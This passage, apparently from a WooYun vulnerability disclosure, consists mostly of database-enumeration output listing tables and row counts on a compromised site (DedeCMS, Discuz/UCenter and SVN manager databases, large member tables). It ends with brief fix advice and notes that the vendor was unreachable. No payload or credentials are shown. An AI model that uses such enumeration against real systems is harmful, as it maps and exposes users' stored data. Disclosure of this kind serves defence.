| web_zq | 9 |
| web_zt | 9 |
| dede_arcatt | 8 |
| dede_arcrank | 8 |
| dede_flinktype | 8 |
| dede_plus | 8 |
| web_acl_role | 8 |
| web_member_task | 8 |
| dede_arctype | 7 |
| dede_channeltype | 7 |
| dede_sys_module | 7 |
| web_member_photo_comment | 7 |
| web_member_photo_reply | 7 |
| web_advert | 6 |
| web_shop_news | 6 |
| web_gh_news | 5 |
| dede_payment | 4 |
| dede_shops_delivery | 4 |
| web_jt_con | 4 |
| web_member_level | 4 |
| web_tp | 4 |
| dede_addonarticle | 3 |
| dede_admintype | 3 |
| dede_co_onepage | 3 |
| dede_flink | 3 |
| dede_moneycard_type | 3 |
| web_gh_admin | 3 |
| web_gh_release | 3 |
| web_member_acl | 3 |
| dede_admin | 2 |
| dede_arccache | 2 |
| dede_freelist | 2 |
| dede_member | 2 |
| dede_member_model | 2 |
| dede_member_person | 2 |
| dede_member_space | 2 |
| dede_member_stowtype | 2 |
| dede_member_tj | 2 |
| dede_search_keywords | 2 |
| dede_sgpage | 2 |
| dede_sys_set | 2 |
| web_cj_zd | 2 |
| web_shop_card | 2 |
| dede_arcmulti | 1 |
| dede_downloads | 1 |
| dede_homepageset | 1 |
| dede_member_group | 1 |
| dede_member_type | 1 |
| dede_softconfig | 1 |
| dede_vote | 1 |
| web_cj_pmd | 1 |
| web_message | 1 |
| web_shop_focus | 1 |
+---------------------------------------+---------+
Database: zr98ys
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| yxsg_sys_enum | 3347 |
| yxsg_area | 482 |
| yxsg_sysconfig | 155 |
| yxsg_erradd | 25 |
| yxsg_myad | 20 |
| yxsg_mytag | 18 |
| yxsg_stepselect | 15 |
| yxsg_arccache | 12 |
| yxsg_scores | 12 |
| yxsg_arcatt | 8 |
| yxsg_arcrank | 8 |
| yxsg_flinktype | 8 |
| yxsg_channeltype | 7 |
| yxsg_plus | 7 |
| yxsg_sys_module | 6 |
| yxsg_payment | 4 |
| yxsg_shops_delivery | 4 |
| yxsg_admintype | 3 |
| yxsg_co_onepage | 3 |
| yxsg_flink | 3 |
| yxsg_moneycard_type | 3 |
| yxsg_search_keywords | 3 |
| yxsg_admin | 2 |
| yxsg_arctype | 2 |
| yxsg_downloads | 2 |
| yxsg_freelist | 2 |
| yxsg_member | 2 |
| yxsg_member_model | 2 |
| yxsg_member_person | 2 |
| yxsg_member_space | 2 |
| yxsg_member_stowtype | 2 |
| yxsg_member_tj | 2 |
| yxsg_sys_set | 2 |
| yxsg_uploads | 2 |
| yxsg_addonhero | 1 |
| yxsg_arctiny | 1 |
| yxsg_homepageset | 1 |
| yxsg_member_group | 1 |
| yxsg_member_type | 1 |
| yxsg_softconfig | 1 |
| yxsg_vote | 1 |
+---------------------------------------+---------+
Database: svnmanagerdb
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| users | 4 |
| repositories | 3 |
| userprivileges | 3 |
| repo_descriptions | 2 |
+---------------------------------------+---------+
Database: zr98
+---------------------------------------+---------+
| Table | Entries |
+---------------------------------------+---------+
| dede_userty | 833304 |
| dede_userty1 | 833304 |
| dede_scriptuser | 811093 |
| dede_log20130118 | 542685 |
| game_number | 322377 |
| dede_log | 221986 |
| dede_uploads | 200624 |
| uc_members | 152276 |
| uc_memberfields | 136489 |
| dede_taglist | 99624 |
| dede_archives | 91224 |
| dede_arctiny | 91224 |
| dede_search_keywords | 77777 |
| dede_jblogin | 72226 |
| dede_member | 72008 |
| dede_member_person | 72008 |
| dede_member_space | 72008 |
| dede_member_tj | 72008 |
| dede_member_flink | 71919 |
| dede_addonarticle | 59424 |
| dede_archivesview | 57220 |
| dede_archivesview1 | 57220 |
| pre_common_district | 45051 |
| dede_archives_copy | 37064 |
| dede_tagindex | 32544 |
| dede_ggj | 30712 |
| Copy_of_dede_addonarticle | 25657 |
| copy_of_dede_addonarticle | 25657 |
| pre_forum_post | 25568 |
| num_own | 22211 |
| pre_ucenter_memberfields | 18620 |
| pre_ucenter_members | 18620 |
| pre_common_member | 18619 |
| pre_common_member_count | 18619 |
| pre_common_member_field_forum | 18619 |
| pre_common_member_field_home | 18619 |
| pre_common_member_profile | 18619 |
| pre_common_member_status | 18619 |
| dede_erradd | 12243 |
| dede_addonzhuanti | 11930 |
| dede_co_mediaurls | 11700 |
| uc_members_1 | 10090 |
| uc_members_2 | 10090 |
| dede_addonmokuai | 8656 |
| pre_common_credit_rule_log | 8152 |
| pre_home_notification | 7944 |
| custom_vote_user | 5966 |
| pre_common_member_newprompt | 5899 |
| dede_sys_enum | 5885 |
| pre_forum_threadpartake | 5875 |
| pre_forum_filter_post | 5622 |
| dede_linghao | 5397 |
| game_view_guanlian | 5327 |
| dmz_cj | 5000 |
| pre_forum_thread | 4818 |
| pre_forum_attachment | 4793 |
| dede_addonsoft | 4556 |
| dede_downloads | 4459 |
| dede_tjdownload | 4359 |
| pre_forum_statlog | 3792 |
| dede_co_urls | 3728 |
| game_num_view | 3181 |
| pre_forum_sofa | 2909 |
| dede_addonimages | 2432 |
| dede_imagesview | 2403 |
| game_num_page | 2211 |
| dede_member_feed | 1977 |
| pre_mpage_sign | 1900 |
| pre_common_onlinetime | 1392 |
| copy_of_dede_scriptuser | 1292 |
| Copy_of_dede_scriptuser | 1292 |
| uc_pm_members | 1292 |
| uc_pm_indexes | 1178 |
| pre_forum_threadimage | 1145 |
| dede_huodong | 1067 |
| dede_feedback | 815 |
| pre_mpage_sign_count | 734 |
| dede_addongame | 702 |
| uc_pm_lists | 654 |
| dede_arctype | 603 |
| pre_forum_attachment_1 | 556 |
| pre_forum_attachment_5 | 549 |
| pre_forum_attachment_6 | 549 |
| dede_addongonghui | 527 |
| pre_common_failedlogin | 517 |
| copy_of_dede_linghao | 501 |
| Copy_of_dede_linghao | 501 |
| uc_notelist | 487 |
| uc_feeds | 483 |
| dede_area | 482 |
| pre_forum_attachment_2 | 473 |
| pre_forum_attachment_8 | 459 |
| pre_forum_attachment_3 | 455 |
| pre_common_setting | 432 |
| pre_forum_attachment_0 | 420 |
| pre_forum_attachment_4 | 420 |
| dede_co_htmls | 419 |
| dede_addonnewgame | 402 |
| pre_forum_attachment_9 | 399 |
| pre_forum_attachment_7 | 391 |
| pre_forum_post_tableid | 385 |
| pre_common_stat | 349 |
| uc_newpm | 333 |
| dede_contribution | 323 |
| pre_forum_threadmod | 322 |
| pre_view_activity | 265 |
| cdb_settings | 242 |
| dede_myad | 223 |
| dede_flink | 205 |
| pre_forum_rsscache | 205 |
| dede_verifies | 197 |
| dede_vote_member | 161 |
| pre_forum_modwork | 161 |
| dede_sysconfig | 157 |
| pre_forum_threadhot | 153 |
| uc_pm_messages_2 | 147 |
| uc_pm_messages_4 | 140 |
| dede_vote | 137 |
| pre_forum_newthread | 127 |
| Copy_of_dede_arctype | 126 |
| copy_of_dede_arctype | 126 |
| uc_pm_messages_0 | 122 |
| pre_forum_attachment_unused | 121 |
| uc_pm_messages_7 | 121 |
| uc_pm_messages_3 | 117 |
| pre_forum_threadcalendar | 113 |
| pre_common_syscache | 112 |
| uc_pm_messages_5 | 112 |
| dede_addonchangshang | 111 |
| uc_pm_messages_6 | 110 |
| uc_pm_messages_8 | 110 |
| uc_pm_messages_1 | 104 |
| pre_common_block_style | 103 |
| uchome_config | 102 |
| pre_forum_thread_moderate | 101 |
| uc_pm_messages_9 | 95 |
| pre_common_stylevar | 90 |
| cdb_smilies | 89 |
| copy_of_dede_addonzhuanti | 85 |
| Copy_of_dede_addonzhuanti | 85 |
| pre_common_smiley | 85 |
| dede_addonjiaoben | 75 |
| pre_home_favorite | 75 |
| dede_arccache | 67 |
| pre_common_admincp_perm | 67 |
| cdb_typeoptions | 65 |
| pre_ucenter_notelist | 59 |
| data_yxsg_hero | 54 |
| pre_common_nav | 53 |
| cdb_stats | 52 |
| pre_common_member_profile_setting | 51 |
| pre_forum_forumfield | 50 |
| pre_forum_forum | 49 |
| cdb_stylevars | 47 |
| uchome_creditrule | 47 |
| cdb_caches | 41 |
| dede_addonspec | 36 |
| cdb_faqs | 34 |
| pre_common_optimizer | 34 |
| pre_forum_optionvalue2 | 33 |
| pre_forum_postcomment | 33 |
| pre_common_credit_rule | 32 |
| pre_common_pluginvar | 32 |
| pre_forum_typeoptionvar | 32 |
| cdb_request | 30 |
| dede_mytag | 30 |
| pre_forum_moderator | 29 |
| pre_forum_memberrecommend | 28 |
| dede_flinktype | 27 |
| pre_common_member_crime | 27 |
| uc_settings | 27 |
| pre_ucenter_settings | 26 |
| dede_co_note | 25 |
| uchome_magic | 25 |
| uchome_magicstore | 24 |
| pre_common_member_action_log | 23 |
| pre_common_cron | 20 |
| pre_common_usergroup | 20 |
| pre_common_usergroup_field | 20 |
| pre_ucenter_pm_members | 20 |
| cdb_usergroups | 19 |
| dede_stepselect | 19 |
| pre_forum_threadclass | 19 |
| uchome_creditlog | 19 |
| pre_forum_postcache | 18 |
| pre_common_credit_log | 17 |
| pre_common_credit_log_field | 17

修复方案:

过滤参数
进服务器看看是否多了些文件 或者被插入代码 被劫持了~

版权声明:转载请注明来源 AuGe@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝

漏洞Rank:15 (WooYun评价)